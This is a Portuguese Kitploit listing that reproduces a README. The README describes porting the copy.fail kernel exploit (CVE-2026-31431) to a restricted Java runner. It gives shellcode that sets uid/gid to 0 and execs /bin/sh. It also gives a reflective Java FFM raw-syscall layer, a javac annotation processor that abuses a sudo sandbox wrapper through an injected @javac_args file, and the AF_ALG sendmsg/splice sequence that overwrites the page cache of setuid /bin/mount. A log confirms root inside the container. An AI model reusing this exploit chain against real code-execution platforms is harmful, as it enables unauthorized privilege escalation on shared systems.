Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Porting-CVE-2026-31431-Copy-Fail-to-a-Constrained-Java-Runner — CVE-2026-31431 (copy.fail) — adaptado para ambientes de execução Java restritos por meio da camada de syscall FFM + entrega do processador de anotações javac | Kitploit
Ferramentas/GitHubGitHub/karollooool/porting-cve-2026-31431-copy-fail-to-a-constrained-java-runner
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoShellcodeTestes de PenetraçãoPapers e PesquisaAprendizado e EducaçãoDesenvolvimento de PayloadsEscape de Contêiner

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Exploração de Binários
GitHubkarollooool/porting-cve-2026-31431-copy-fail-to-a-constrained-java-runner

Porting-CVE-2026-31431-Copy-Fail-to-a-Constrained-Java-Runner

CVE-2026-31431 (copy.fail) — adaptado para ambientes de execução Java restritos por meio da camada de syscall FFM + entrega do processador de anotações javac

Ver RepositórioSite
1há 25 diasAinda não revisado

Executando CVE-2026-31431 dentro de uma caixa Java que não queria que eu executasse nada

Crédito primeiro, porque isso é importante. A vulnerabilidade, a técnica e o exploit original são todos trabalho dos pesquisadores do copy.fail. O CVE-2026-31431 é deles. Eu não encontrei este bug. O que se segue é a história de fazer o exploit deles funcionar dentro de um executor de código Java que havia sido bloqueado a ponto de não ser possível executar o Python deles como escrito. Minha contribuição é a canalização, não o primitivo.

Resumo

A plataforma de trabalhos de Java da minha universidade pega o código do aluno, compila com javac e executa dentro de um contêiner Docker. Após uma primeira rodada de exploração (e alguns bugs reportados sendo corrigidos), o contêiner foi reduzido a um sistema de arquivos raiz somente leitura, seccomp nível 2, AppArmor enforce, zero capacidades, e apenas /tmp e /dev/shm graváveis, ambos com nosuid,nodev,noexec. Não havia compilador nativo, nenhum caminho executável gravável, nenhum memfd_create, nenhum process_vm_readv, nenhum pidfd_getfd.

O exploit do copy.fail precisa de um primitivo de escrita no cache de páginas e uma maneira de entregar shellcode. Nenhum dos dois era alcançável da maneira óbvia. Então eu reconstruí todo o caminho de entrega em Java: uma camada de syscall bruta construída sobre a Foreign Function and Memory API do Java 21, um payload ELF montado em Python em tempo de construção, e um processador de anotações do javac como gatilho. A escrita no cache de páginas do copy.fail fez o trabalho real. O resultado final foi uid 0 dentro do contêiner.

Raiz do contêiner, não raiz do host. Vou dizer isso mais de uma vez, porque é a forma toda da coisa.

A caixa, após a primeira rodada

É assim que o contêiner ficou depois que os problemas anteriores foram corrigidos.

  • Usuário uid=100(runner), gid=101(runner).
  • CapEff: 0x0000000000000000. Capacidades efetivas zero.
  • AppArmor docker-default (enforce).
  • Seccomp nível 2.
  • Sistema de arquivos raiz em overlay somente leitura.
  • Caminhos graváveis: /tmp e /dev/shm, ambos montados com nosuid,nodev,noexec.
  • Sem socket Docker, sem saída para internet, sem caminho executável gravável em lugar nenhum.

Essa é uma caixa genuinamente desagradável para aterrissar. A maioria dos movimentos usuais se foram. Você não pode soltar um binário, não pode compilar um, não pode criar um memfd_create e executá-lo, e os poucos diretórios graváveis são noexec.

Mas uma porta foi deixada entreaberta. runner podia chamar um wrapper de sandbox privilegiado através do sudo, que fazia aproximadamente isto:

root@kitploit:~
/sbin/su-exec root setpriv --no-new-privs --inh-caps=-all "$@" &

Então você podia alcançar uid 0 dentro do contêiner, mas apenas com NoNewPrivs=1 e um conjunto de limites fixado em CAP_SETUID | CAP_SETGID. Raiz restrita. Raiz no nome, raiz em quase nada mais.

Essa lacuna entre "é uid 0" e "pode realmente fazer algo como uid 0" é exatamente a lacuna que o copy.fail foi construído para fechar.

O que o copy.fail realmente faz, caso você não tenha lido

O exploit original abusa do socket AF_ALG do Linux, a API de criptografia do kernel. Especificamente o algoritmo authencesn(hmac(sha256),cbc(aes)) e seu caminho de descriptografia. Esse caminho escreve em um buffer temporário do kernel, e através de uma sequência cuidadosa de chamadas sendmsg() e splice() você pode direcionar essa escrita para o cache de páginas de um descritor de arquivo arbitrário.

O cache de páginas é compartilhado entre namespaces de montagem. Então, se você escrever no cache de páginas de um binário setuid, digamos /bin/mount, e então execve() nele, o kernel executa seus bytes corrompidos. O bit setuid faz o kernel honrar o dono do arquivo, root, como a nova identidade do processo. A corrupção não é uma condição de corrida. É uma escrita determinística. Essa é toda a razão pela qual o copy.fail é tão limpo quanto é.

O Python original faz isso elegantemente. Ele apenas assume que você pode fazer algumas coisas que minha caixa se recusou a me deixar fazer:

  • memfd_create() retorna EPERM.
  • process_vm_readv() retorna EPERM.
  • pidfd_getfd() retorna EPERM.
  • Aumentar RLIMIT_CORE retorna EPERM.
  • Compilar e enviar um binário C para um caminho executável: nenhum caminho executável gravável existe.

Então eu não pude executar o código deles. Tive que reconstruir as partes que tocavam esses primitivos, em uma forma que a caixa tolerasse.

O que eu mudei

Quatro peças. Apenas a entrega mudou. A escrita no cache de páginas em si é do copy.fail, portada syscall por syscall.

Um payload construído em Python, não enviado como binário

O original usa um blob de shellcode pré-construído. Eu não podia enviar ou executar um binário, então o payload é montado do zero em tempo de construção em Python, byte por byte, e serializado para hex. O cabeçalho ELF, o cabeçalho de programa e o shellcode são todos construídos em build_payload() e empacotados com struct.

O shellcode em si é curto e honesto sobre o que deseja:

root@kitploit:~
code += b'\x48\xc7\xc0\x6a\x00\x00\x00'     # mov rax, 106 (setgid)
code += b'\x0f\x05'                          # syscall
code += b'\x48\xc7\xc0\x69\x00\x00\x00'     # mov rax, 105 (setuid)
code += b'\x0f\x05'                          # syscall
# ... jmp/call/pop para encontrar "/bin/sh", construir argv, execve ...

O plano é setgid(0), setuid(0), então execve("/bin/sh", ["/bin/sh", "-c", "id"], NULL). Nenhum arquivo externo, nenhuma etapa de upload. A string hex é inserida diretamente no código-fonte Java como um literal e decodificada em um inicializador estático. Isso contorna todo o problema de "nenhum caminho executável gravável", porque o payload nunca toca o disco. Ele vai para a memória e depois para o cache de páginas.

Java FFM como uma camada de syscall, porque não havia outra maneira de fazer syscalls

Esta é a parte da qual estou mais orgulhoso, e também a parte que pareceu mais absurda enquanto a escrevia.

Eu precisava de syscalls brutas de dentro do contêiner, e não tinha como compilar ou executar código nativo. A API Foreign Function and Memory do Java 21 permite chamar a função syscall() da biblioteca C diretamente através do vinculador nativo. O problema é que eu não queria depender do caminho exato do módulo ou do FFM estar em preview, então toda a fiação é feita através de reflexão contra java.lang.foreign.*. Ele encontra o vinculador nativo, procura por syscall e __errno_location, constrói um FunctionDescriptor para (long, long, long, long, long, long, long) -> long, e devolve um MethodHandle.

root@kitploit:~
static long sc(long n, long a, long b, long c, long d, long e, long f) throws Throwable {
    return (long) syscall.invokeWithArguments(n, a, b, c, d, e, f);
}

A partir daí, cada syscall é apenas sc(NR, arg0, arg1, ...). A memória vem de mmap anônimo (sc(9, 0, sz, 3, 0x22, -1, 0)), escritas vão através de /proc/self/mem, leituras vêm de volta da mesma forma. Sem JNI, sem compilação nativa, sem dependências além do JDK. Ler e escrever minha própria memória através de /proc/self/mem é o que substitui process_vm_readv, que a caixa havia bloqueado.

Um golpe de sorte: o wrapper de inicialização da JVM do contêiner já passava --enable-native-access=ALL-UNNAMED. Sem essa flag, o FFM se recusa a fazer a chamada descendente, e eu estaria preso. Eles deixaram a porta destrancada no lado da JVM mesmo depois de travar tudo o resto.

O processador de anotações, que é a escalada real

Essa é a jogada que transforma "posso enviar Java" em "posso executar código como raiz restrita."

A plataforma compila as submissões dos alunos com javac. O javac suporta processadores de anotações através de -processor NomeDaClasse. O método process() de um processador é executado durante a compilação, no mesmo processo que javac, com os mesmos privilégios. O endpoint de submissão também aceitava um arquivo @javac_args entre as fontes, e seu conteúdo era passado diretamente para o compilador. Então eu pude passar para o javac isto:

root@kitploit:~
-processor
RP
Trigger.java

E RP.java, meu processador de anotações, executaria em tempo de compilação:

root@kitploit:~
@SupportedAnnotationTypes("*")
@SupportedSourceVersion(SourceVersion.RELEASE_21)
public class RP extends AbstractProcessor {
    public boolean process(Set<? extends TypeElement> ann, RoundEnvironment re) {
        if (done) return false; done = true;
        String out = run(<PRIVESC_CMD>,
                         "timeout", "55", "java",
                         "--enable-native-access=ALL-UNNAMED", "CopyFailV11");
        processingEnv.getMessager().printMessage(Diagnostic.Kind.ERROR, "CF11\n" + out);
        return false;
    }
}

O processador chama o wrapper de sandbox privilegiado, que executa java CopyFailV11 como raiz restrita. O exploit então é executado nesse contexto de raiz restrita e faz a sobrescrita do cache de páginas. A mensagem de erro de compilação também é como eu exfiltrava a saída de volta através da resposta da plataforma, já que uma compilação falha é algo normal de se ver.

A cadeia completa, de ponta a ponta:

  1. Enviar fontes: CopyFailV11.java mais RP.java mais Trigger.java mais @javac_args.
  2. javac compila tudo, encontra o processador de anotações.
  3. O processador invoca o wrapper privilegiado, que executa java CopyFailV11.
  4. CopyFailV11 executa como raiz restrita e realiza a sobrescrita do cache de páginas.

A escrita no cache de páginas, portada para syscalls Java

Este é o primitivo do copy.fail, inalterado em conceito, apenas expresso através da camada de syscall Java. Cada 4 bytes do payload precisa de seu próprio ciclo fresco de socket AF_ALG:

root@kitploit:~
static int patch(int fd, int off, byte[] v) throws Throwable {
    long af = sc(41, 38, 5, 0, 0, 0, 0);              // socket(AF_ALG, SOCK_SEQPACKET, 0)
    // ... bind para authencesn(hmac(sha256),cbc(aes)), definir chave de 72 bytes, definir authsize ...
    long of = sc(43, af, 0, 0, 0, 0, 0);              // accept -> socket de operação

    // sendmsg com MSG_SPLICE_PAGES (0x8000) para acionar a escrita no cache de páginas
    sc(46, of, ma, 32768, 0, 0, 0);

    // pipe2 + duas chamadas splice para mover os dados
    sc(293, pa, 0, 0, 0, 0, 0);                       // pipe2
    sc(275, fd, oa, pw, 0, o, 0);                     // splice: arquivo -> extremidade de escrita do pipe
    sc(275, pr, 0, of, 0, o, 0);                      // splice: extremidade de leitura do pipe -> socket de operação AF_ALG
    // ...
}

A coisa que faz isso funcionar, e que quero deixar claro que não é minha percepção: o caminho de escrita de rascunho de descriptografia do authencesn, combinado com MSG_SPLICE_PAGES e splice(), ignora a semântica normal de copy on write e coloca bytes diretamente no cache de páginas do descritor de arquivo alvo. Sem condição de corrida. Determinístico.

O alvo é /bin/mount. Ele é setuid root, e está presente no cache de páginas mesmo que o sistema de arquivos raiz seja um overlay somente leitura. O overlay é somente leitura no disco. O cache de páginas não é o overlay.

Resultado

root@kitploit:~
[+] CopyFailV11 iniciando
[+] Escrevendo 54 blocos no cache de páginas de /bin/mount
[+] TEST_WRITE result=0
[+] AFTER_TEST_FIRST4=54455354   <-- "TEST" no offset 0, confirmado
[+] MATCH_COUNT=216/216          <-- todos os bytes do payload no cache de páginas
[+] Cache de páginas mutado! Fork+exec /bin/mount...

CHILD_STATUS:
  Name:   mount
  Uid:    0  0  0  0
  Gid:    0  0  0  0
  CapEff: 00000000000000c0
  NoNewPrivs: 1
  Seccomp: 2

[+] EXPLOIT BEM-SUCEDIDO: Filho executou como uid=0 gid=0 (ROOT)

Os bytes chegam ao cache de páginas, o filho executa como uid 0 e gid 0, e a escrita é cem por cento confiável entre execuções. Os primeiros quatro bytes serem 54455354 é apenas TEST em ASCII, que é a escrita de sanidade que faço antes de comprometer o payload real. Se a escrita de sanidade aparecer no arquivo, toda a escrita aparecerá.

O que eu não fiz

A vulnerabilidade central é inteiramente do copy.fail. Eu não descobri o CVE-2026-31431, não encontrei o primitivo AF_ALG, e não projetei o truque sendmsg mais splice. Eu adaptei a entrega para uma caixa onde nenhum dos ajudantes normais existia:

  • Nenhum binário nativo podia ser compilado ou enviado.
  • memfd_create, process_vm_readv e pidfd_getfd estavam todos bloqueados.
  • O único caminho de execução disponível passava pelo compilador Java.

Se você quiser entender por que qualquer coisa disso funciona, leia copy.fail. Este repositório é a resposta para "ok, mas e se a caixa também tirar seu compilador e seu arquivo de shellcode."

Limitações, e sendo honesto sobre elas

O filho herda todas as restrições que o wrapper de sandbox impôs. Nada sobre a escrita no cache de páginas as afrouxa.

  • NoNewPrivs: 1. Sem ganhar mais privilégios.
  • CapEff: 0xc0. Apenas CAP_SETUID e CAP_SETGID.
  • Seccomp: 2. Filtragem de syscall ainda ativa.
  • docker-default AppArmor ainda em modo enforce.

Então isso é raiz do contêiner, não raiz do host. Escapar do contêiner a partir desse estado é um problema separado e mais difícil, e entre AppArmor e endurecimento do kernel, a caixa faz um bom trabalho em fechá-lo. Não estou alegando uma fuga do Docker. Estou alegando que "raiz restrita" acabou sendo menos restritiva do que a configuração pretendia, porque o primitivo do copy.fail não precisa de capacidades reais, ele só precisa da habilidade de escrever em um cache de páginas, e o cache de páginas não se importa com sua máscara de capacidades.

Essa é a parte que vale a pena ponderar. O sandbox foi projetado em torno do que root pode fazer. O exploit não faz nada como root. Ele faz algo a um arquivo, e o arquivo acontece de ser setuid.

Arquivos

  • copy_fail_java_runner.py. Script de construção. Monta o payload ELF em Python, insere-o nas fontes Java geradas e escreve um payload.json pronto para POST. Configure o host alvo, o endpoint runner e o comando de escalonamento de privilégios no topo do arquivo antes de executar.
  • Gerado na execução: CopyFailV11.java (o exploit e a camada de syscall FFM), RP.java (o processador de anotações), Trigger.java e a classe principal (fontes dummy para que a compilação seja bem formada), javac_args (injeta -processor RP), e payload.json.

Vulnerabilidade e técnica originais: copy.fail, CVE-2026-31431. Este projeto é uma porta específica para um ambiente e não reivindica crédito pelo bug subjacente.

Baixar ferramenta